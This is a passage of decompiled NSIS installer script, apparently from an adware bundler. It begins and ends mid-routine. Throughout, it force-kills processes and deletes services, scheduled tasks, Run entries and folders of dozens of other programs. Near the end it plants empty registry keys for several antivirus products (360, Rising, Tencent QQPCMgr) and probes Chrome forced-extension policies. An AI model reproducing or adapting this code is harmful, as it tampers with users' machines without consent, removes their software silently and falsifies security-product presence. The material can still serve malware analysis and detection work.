$DESKTOP\Gameo.lnk 0 label_18473 Delete $DESKTOP\Gameo.lnk label_18473: IfFileExists $PROGRAMFILES64\Checker 0 label_18480 nsExec::Exec "cmd /k taskkill /IM Check.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Check.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Checker label_18480: IfFileExists $LOCALAPPDATA\SuperBrowser 0 label_18487 nsExec::Exec "cmd /k taskkill /IM $\"SuperBrowser.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"SuperBrowser.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\SuperBrowser label_18487: IfFileExists $PROGRAMFILES\SuperBrowser 0 label_18514 nsExec::ExecToStack "schtasks /delete /tn $\"SuperBrowserHelper$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"SuperBrowserHelper$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for SuperBrowser$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for SuperBrowser$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for SuperBrowser2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for SuperBrowser2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::Exec "cmd /k taskkill /IM $\"settingsManager.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"settingsManager.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"ExtensionUpdaterService.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"ExtensionUpdaterService.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\SuperBrowser label_18514: IfFileExists $DESKTOP\SuperBrowser.lnk 0 label_18516 Delete $DESKTOP\SuperBrowser.lnk label_18516: IfFileExists "$APPDATA\User Pinned\TaskBar\SuperBrowser.lnk" 0 label_18518 Delete "$APPDATA\User Pinned\TaskBar\SuperBrowser.lnk" label_18518: IfFileExists $APPDATA\SuperBrowser.lnk 0 label_18520 Delete $APPDATA\SuperBrowser.lnk label_18520: IfFileExists $SMPROGRAMS\SuperBrowser\SuperBrowser.lnk 0 label_18522 Delete $SMPROGRAMS\SuperBrowser\SuperBrowser.lnk label_18522: ClearErrors SetRegView 64 ReadRegStr $0 HKLM SOFTWARE\Microsoft help SetRegView 32 IfErrors label_18578 StrCpy $0 0 label_18528: EnumRegKey $1 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_18578 IntOp $0 $0 + 1 ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayName StrCmp $2 "youndoo - Uninstall" label_18535 StrCmp $2 "trotux - Uninstall" label_18535 StrCmp $2 "hohosearch - Uninstall" label_18535 label_18528 label_18535: ClearErrors ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 UninstallString IfErrors label_18528 Push $2 Push "rundll32.exe " Push "" Call func_179 Pop $2 Push $2 Push $PROGRAMFILES Push "" Call func_179 Pop $2 Push $2 Push .dll Push > Push < Push 0 Push 0 Push 0 Call func_4539 Pop $2 Push $2 Push $\"\ Push "" Call func_179 Pop $2 Push $2 Push \ Push > Push < Push 0 Push 0 Push 0 Call func_4539 Pop $2 IfFileExists $PROGRAMFILES\$2 0 label_18573 RMDir /r /REBOOTOK $PROGRAMFILES\$2 label_18573: SetRegView 64 DeleteRegValue HKLM SOFTWARE\Microsoft help DeleteRegKey HKLM SOFTWARE\Classes\CLSID\{6710C780-E20E-4C49-A87D-321850ED3D7C} SetRegView 32 Goto label_18528 label_18578: ClearErrors EnumRegKey $0 HKCU Software\Microsoft\guardPlagin $0 IfErrors label_18601 StrCpy $0 0 label_18582: EnumRegKey $1 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_18601 IntOp $0 $0 + 1 ClearErrors ReadRegStr $2 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 UninstallString IfErrors label_18582 ClearErrors Push $2 Push --dkg= Call :label_405 Pop $3 IfErrors label_18582 IfFileExists $LOCALAPPDATA\$1\$1.exe 0 label_18582 nsExec::Exec "cmd /k taskkill /IM $\"$1.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$1.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $LOCALAPPDATA\$1\$1.exe label_18601: IfFileExists $LOCALAPPDATA\MicroCleaner 0 label_18637 nsExec::Exec "cmd /k taskkill /IM mrz2.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM mrz2.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM SyncFolders.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SyncFolders.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"MicroCleaner$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"MicroCleaner$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Advanced System Check$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Advanced System Check$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\MicroCleaner System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\ctfmon.exe 0 label_18630 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run CTFMON.EXE label_18630: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\ctfmon.exe 0 label_18637 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run CTFMON.EXE label_18637: IfFileExists $LOCALAPPDATA\Ruspromocode 0 label_18645 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ruspromocode nsExec::Exec "cmd /k taskkill /IM $\"stub.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"stub.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\Ruspromocode label_18645: IfFileExists "$PROGRAMFILES\BB10 PlayBook App Manager" 0 label_18652 nsExec::Exec "cmd /k taskkill /IM $\"BB10 PlayBook App Manager.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"BB10 PlayBook App Manager.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\BB10 PlayBook App Manager" label_18652: IfFileExists "$APPDATA\User Pinned\TaskBar\Search The Internet.lnk" 0 label_18654 Delete "$APPDATA\User Pinned\TaskBar\Search The Internet.lnk" label_18654: IfFileExists "$APPDATA\Search The Internet.lnk" 0 label_18656 Delete "$APPDATA\Search The Internet.lnk" label_18656: IfFileExists $PROGRAMFILES\MyBrowser* 0 label_18664 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\MyBrowser* label_18659: StrCmp $R1 "" label_18663 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_18659 label_18663: FindClose $0 label_18664: IfFileExists "$PROGRAMFILES\We Heart It" 0 label_18671 nsExec::Exec "cmd /k taskkill /IM $\"We Heart It.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"We Heart It.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\We Heart It" label_18671: IfFileExists $PROGRAMFILES\StatFoobar 0 label_18673 RMDir /r /REBOOTOK $PROGRAMFILES\StatFoobar label_18673: IfFileExists "$PROGRAMFILES\Send to Kindle for Chrome" 0 label_18680 nsExec::Exec "cmd /k taskkill /IM $\"Send to Kindle for Chrome.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Send to Kindle for Chrome.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Send to Kindle for Chrome" label_18680: IfFileExists $PROGRAMFILES\IncludeFunc 0 label_18682 RMDir /r /REBOOTOK $PROGRAMFILES\IncludeFunc label_18682: IfFileExists "$PROGRAMFILES\Video Downloader professional" 0 label_18689 nsExec::Exec "cmd /k taskkill /IM $\"Video Downloader professional.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Video Downloader professional.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Video Downloader professional" label_18689: IfFileExists $PROGRAMFILES\SystemDefend 0 label_18691 RMDir /r /REBOOTOK $PROGRAMFILES\SystemDefend label_18691: IfFileExists $PROGRAMFILES\Stealthy 0 label_18698 nsExec::Exec "cmd /k taskkill /IM $\"Stealthy.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Stealthy.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\Stealthy label_18698: IfFileExists $PROGRAMFILES\Ax 0 label_18705 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ax nsExec::Exec "cmd /k taskkill /IM $\"Ax.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Ax.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_18705: IfFileExists "$PROGRAMFILES\Fresh Outlook" 0 label_18707 RMDir /r /REBOOTOK "$PROGRAMFILES\Fresh Outlook" label_18707: IfFileExists $LOCALAPPDATA\bvxv* 0 label_18721 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\bvxv* label_18710: StrCmp $R1 "" label_18720 DeleteRegKey HKLM SYSTEM\ControlSet001\services\$R1 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 FindNext $0 $R1 Goto label_18710 label_18720: FindClose $0 label_18721: IfFileExists $PROGRAMFILES\Momentum 0 label_18728 nsExec::Exec "cmd /k taskkill /IM $\"Momentum.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Momentum.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\Momentum label_18728: IfFileExists $PROGRAMFILES\NewGen 0 label_18730 RMDir /r /REBOOTOK $PROGRAMFILES\NewGen label_18730: IfFileExists $APPDATA\si_none 0 label_18742 nsExec::ExecToStack "schtasks /delete /tn $\"si_none$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"si_none$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::Exec "cmd /k taskkill /IM $\"s_inst.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"s_inst.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\si_none label_18742: IfFileExists $APPDATA\TSearch 0 label_18744 RMDir /r /REBOOTOK $APPDATA\TSearch label_18744: IfFileExists $PROGRAMFILES\MedPlayvid* 0 label_18752 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\MedPlayvid* label_18747: StrCmp $R1 "" label_18751 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_18747 label_18751: FindClose $0 label_18752: IfFileExists "$PROGRAMFILES\Adblock for Youtube" 0 label_18759 nsExec::Exec "cmd /k taskkill /IM $\"Adblock for Youtube.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Adblock for Youtube.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Adblock for Youtube" label_18759: IfFileExists $PROGRAMFILES\IncludeRunner 0 label_18761 RMDir /r /REBOOTOK $PROGRAMFILES\IncludeRunner label_18761: IfFileExists "$PROGRAMFILES\Magic Actions for YouTube" 0 label_18768 nsExec::Exec "cmd /k taskkill /IM $\"Magic Actions for YouTube.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Magic Actions for YouTube.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Magic Actions for YouTube" label_18768: IfFileExists $PROGRAMFILES\LiveReader 0 label_18770 RMDir /r /REBOOTOK $PROGRAMFILES\LiveReader label_18770: IfFileExists $DESKTOP\MixVideoPlayer.lnk 0 label_18772 Delete $DESKTOP\MixVideoPlayer.lnk label_18772: IfFileExists $PROGRAMFILES\TampaEdit 0 label_18774 RMDir /r /REBOOTOK $PROGRAMFILES\TampaEdit label_18774: IfFileExists "$PROGRAMFILES\Musix Search" 0 label_18781 nsExec::Exec "cmd /k taskkill /IM $\"Musix Search.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Musix Search.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Musix Search" label_18781: IfFileExists "$PROGRAMFILES\Max Driver Updater" 0 label_18798 nsExec::Exec "cmd /k taskkill /IM $\"maxdu.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"maxdu.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"MAXDriverUpdaterRunAtStartup$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"MAXDriverUpdaterRunAtStartup$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"MAXDriverUpdater_UPDATES$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"MAXDriverUpdater_UPDATES$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Max Driver Updater" label_18798: FunctionEnd Function func_18799 SetShellVarContext all StrCpy $3 "" ClearErrors ReadRegStr $1 HKCU Software\InstallPath\Status SnapDoNew IfErrors label_18826 StrCpy $0 0 StrCpy $1 "" StrCpy $2 "" label_18807: SetRegView 64 EnumRegKey $1 HKLM "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" $0 SetRegView 32 StrCmp $1 "" label_18826 Push $1 Push .exe Push "" Call func_179 Pop $R1 IntOp $0 $0 + 1 IfFileExists $APPDATA\$R1\$1 0 label_18825 ClearErrors ReadRegStr $2 HKCU Software\mt$R1 _os IfErrors label_18825 DeleteRegKey HKLM SYSTEM\ControlSet001\services\$R1 RMDir /r /REBOOTOK $APPDATA\$R1 IfFileExists $APPDATA\$R1s 0 label_18825 RMDir /r /REBOOTOK $APPDATA\$R1s label_18825: Goto label_18807 label_18826: IfFileExists $APPDATA\Ronzap\Ronzap.exe 0 label_18844 nsExec::Exec "cmd /k taskkill /IM Ronzap.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Ronzap.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Biodinbam.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Biodinbam.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Saltfresh.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Saltfresh.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Ronzap RMDir /r /REBOOTOK $APPDATA\Ronzap label_18844: IfFileExists $APPDATA\Airtostrong\Airtostrong.exe 0 label_18867 nsExec::Exec "cmd /k taskkill /IM Airtostrong.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Airtostrong.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Dentoing.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Dentoing.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Doublephase.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Doublephase.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM DomDom.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM DomDom.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Airtostrong RMDir /r /REBOOTOK $APPDATA\Airtostrong label_18867: IfFileExists "$DESKTOP\MPC Desktop.lnk" 0 label_18869 Delete "$DESKTOP\MPC Desktop.lnk" label_18869: IfFileExists "$DESKTOP\MPC AdCleaner.lnk" 0 label_18871 Delete "$DESKTOP\MPC AdCleaner.lnk" label_18871: IfFileExists $APPDATA\Advancedpccare.com 0 label_18878 nsExec::Exec "cmd /k taskkill /IM udu.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM udu.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\Advancedpccare.com label_18878: IfFileExists $APPDATA\Appverifier 0 label_18886 nsExec::Exec "cmd /k taskkill /IM AppVerifierService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM AppVerifierService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\AppVerifier RMDir /r /REBOOTOK $APPDATA\Appverifier label_18886: IfFileExists $PROGRAMFILES\Jads\Jads\UnInstallMintcast64.bat 0 label_18895 SetOutPath $PROGRAMFILES\Jads\Jads CreateShortCut $PROGRAMFILES\Jads\Jads\UnInstallMintcast64.lnk $PROGRAMFILES\Jads\Jads\UnInstallMintcast64.bat "" "" "" SW_SHOWMINIMIZED nsExec::Exec "cmd /k $\"$PROGRAMFILES\Jads\Jads\UnInstallMintcast64.lnk$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k $\"$PROGRAMFILES\Jads\Jads\UnInstallMintcast64.lnk$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 15000 label_18895: IfFileExists $PROGRAMFILES\Jads 0 label_18898 RMDir /r /REBOOTOK "$APPDATA\Package Cache" RMDir /r /REBOOTOK $PROGRAMFILES\Jads label_18898: IfFileExists "$DESKTOP\IObit Uninstaller.lnk" 0 label_18900 Delete "$DESKTOP\IObit Uninstaller.lnk" label_18900: IfFileExists "$DESKTOP\Advanced SystemCare 8.lnk" 0 label_18902 Delete "$DESKTOP\Advanced SystemCare 8.lnk" label_18902: IfFileExists $APPDATA\WindowsMangerProtect\ProtectWindowsManager.exe 0 label_18905 DeleteRegKey HKLM SYSTEM\ControlSet001\services\WindowsMangerProtect RMDir /r /REBOOTOK $APPDATA\WindowsMangerProtect label_18905: IfFileExists $APPDATA\Online\updater.exe 0 label_18912 DeleteRegKey HKLM SYSTEM\ControlSet001\services\Updamter DeleteRegKey HKLM SYSTEM\ControlSet001\services\WUpdamter DeleteRegKey HKLM SYSTEM\ControlSet001\services\UpWork Call func_689 Sleep 3000 RMDir /r /REBOOTOK $APPDATA\Online label_18912: IfFileExists $APPDATA\MailUpdate\mailUpdate.exe 0 label_18915 DeleteRegKey HKLM SYSTEM\ControlSet001\services\mailUpdate RMDir /r /REBOOTOK $APPDATA\MailUpdate label_18915: IfFileExists $APPDATA\TimeTasks\TimeTasksSetup.exe 0 label_18918 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Timestasks RMDir /r /REBOOTOK $APPDATA\TimeTasks label_18918: IfFileExists $APPDATA\TimeTasks\timetasks.exe 0 label_18926 nsExec::Exec "cmd /k taskkill /IM timetasks.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM timetasks.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Timestasks RMDir /r /REBOOTOK $APPDATA\TimeTasks label_18926: IfFileExists $TEMP\VKDownloader_restartonfail 0 label_18931 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Rerun service for VK Downloader" Call func_742 Sleep 3000 RMDir /r /REBOOTOK $TEMP\VKDownloader_restartonfail label_18931: IfFileExists $APPDATA\Schedule 0 label_18933 RMDir /r /REBOOTOK $APPDATA\Schedule label_18933: IfFileExists $APPDATA\YTAHelper 0 label_18935 RMDir /r /REBOOTOK $APPDATA\YTAHelper label_18935: IfFileExists $APPDATA\costmin 0 label_18937 Delete /REBOOTOK $APPDATA\costmin\*.* label_18937: IfFileExists $APPDATA\WADHostAgent 0 label_18939 RMDir /r /REBOOTOK $APPDATA\WADHostAgent label_18939: IfFileExists $APPDATA\WindowsMangerProtect 0 label_18941 RMDir /r /REBOOTOK $APPDATA\WindowsMangerProtect label_18941: IfFileExists $APPDATA\ShopperPro 0 label_18943 RMDir /r /REBOOTOK $APPDATA\ShopperPro label_18943: IfFileExists $DOCUMENTS\Stach 0 label_18945 RMDir /r /REBOOTOK $DOCUMENTS\Stach label_18945: IfFileExists $APPDATA\EpicScale 0 label_18947 RMDir /r /REBOOTOK $APPDATA\EpicScale label_18947: IfFileExists $APPDATA\IePluginServices 0 label_18949 Delete /REBOOTOK $APPDATA\IePluginServices\*.* label_18949: IfFileExists $APPDATA\WindowsProtectManger 0 label_18951 RMDir /r /REBOOTOK $APPDATA\WindowsProtectManger label_18951: IfFileExists "$DESKTOP\1place.org Games.url" 0 label_18953 Delete "$DESKTOP\1place.org Games.url" label_18953: IfFileExists $PROGRAMFILES\Supdater 0 label_18958 DeleteRegKey HKLM SYSTEM\ControlSet001\services\Supdater Call func_671 Sleep 5000 RMDir /r /REBOOTOK $PROGRAMFILES\Supdater label_18958: IfFileExists $PROGRAMFILES64\Supdater 0 label_18963 DeleteRegKey HKLM SYSTEM\ControlSet001\services\Supdater Call func_671 Sleep 5000 RMDir /r /REBOOTOK $PROGRAMFILES64\Supdater label_18963: IfFileExists $WINDIR\ReADService.exe 0 label_18965 Delete /REBOOTOK $WINDIR\ReADService.exe label_18965: IfFileExists $WINDIR\RePROService.exe 0 label_18967 Delete /REBOOTOK $WINDIR\RePROService.exe label_18967: IfFileExists $WINDIR\Temp\Check.exe 0 label_18969 Delete /REBOOTOK $WINDIR\Temp\Check.exe label_18969: IfFileExists $WINDIR\Temp\bdsghost\launcher.exe 0 label_18971 Delete /REBOOTOK $WINDIR\Temp\bdsghost\launcher.exe label_18971: IfFileExists $WINDIR\Temp\revs.exe 0 label_18973 Delete /REBOOTOK $WINDIR\Temp\revs.exe label_18973: IfFileExists $DESKTOP\Crossbrowse.lnk 0 label_18975 Delete $DESKTOP\Crossbrowse.lnk label_18975: IfFileExists $APPDATA\AppMgr* 0 label_18989 StrCpy $0 "" FindFirst $0 $R1 $APPDATA\AppMgr* label_18978: StrCmp $R1 "" label_18988 DeleteRegKey HKLM SYSTEM\ControlSet001\services\$R1 nsExec::Exec "cmd /k taskkill /IM AppMgr.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM AppMgr.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\$R1 FindNext $0 $R1 Goto label_18978 label_18988: FindClose $0 label_18989: IfFileExists $DESKTOP\Mobogenie3.lnk 0 label_18991 Delete $DESKTOP\Mobogenie3.lnk label_18991: SetShellVarContext current ClearErrors ReadRegStr $R0 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{99C91FC5-DB5B-4AA0-BB70-5D89C5A4DF96} InstallLocation IfErrors 0 label_18999 ClearErrors ReadRegStr $R0 HKLM SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{99C91FC5-DB5B-4AA0-BB70-5D89C5A4DF96} InstallLocation IfErrors label_19001 ClearErrors label_18999: IfFileExists $R0 0 label_19001 RMDir /r /REBOOTOK $R0 label_19001: WriteRegStr HKCU Software\Mobogenie3 "" "" WriteRegStr HKLM Software\360Safe "" "" WriteRegStr HKLM Software\360TotalSecurity "" "" WriteRegStr HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\ASPackage "" "" WriteRegStr HKLM Software\rising\RAV "" "" WriteRegStr HKLM Software\Tencent\QQPCMgr "" "" ClearErrors ReadRegStr $0 HKLM Software\Policies\Chromium\ExtensionInstallForcelist ExtensionInstallForcelist IfErrors label_19012 StrCpy $0 $0 32 StrCmp $0 npdpaabpkcahccgoakgkgjfgalcpfhlb label_19027 label_19012: ClearErrors ReadRegStr $0 HKLM Software\Policies\Google\Chrome\ExtensionInstallSources ExtensionInstallSources IfErrors label_19017 StrCpy $0 $0 32 StrCmp $0 npdpaabpkcahccgoakgkgjfgalcpfhlb label_19027 label_19017: ClearErrors EnumRegKey $0 HKCU Software\Policies\Google\Chrome\ExtensionInstallForcelist $0 IfErrors 0 label_19027 ClearErrors EnumRegKey $0 HKLM Software\Policies\Google\Chrome\ExtensionInstallForcelist $0 IfErrors 0 label_19027 IfFileExists $SYSDIR\GroupPolicy\Adm\chrome.adm label_19027 IfFileExists $APPDATA\Microsoft\Video\GroupPolicy label_19027 IfFileExists $APPDATA\Microsoft\Vision\GroupPolicy label_19027 IfFileExists $APPDATA\Micron 0 label_19089 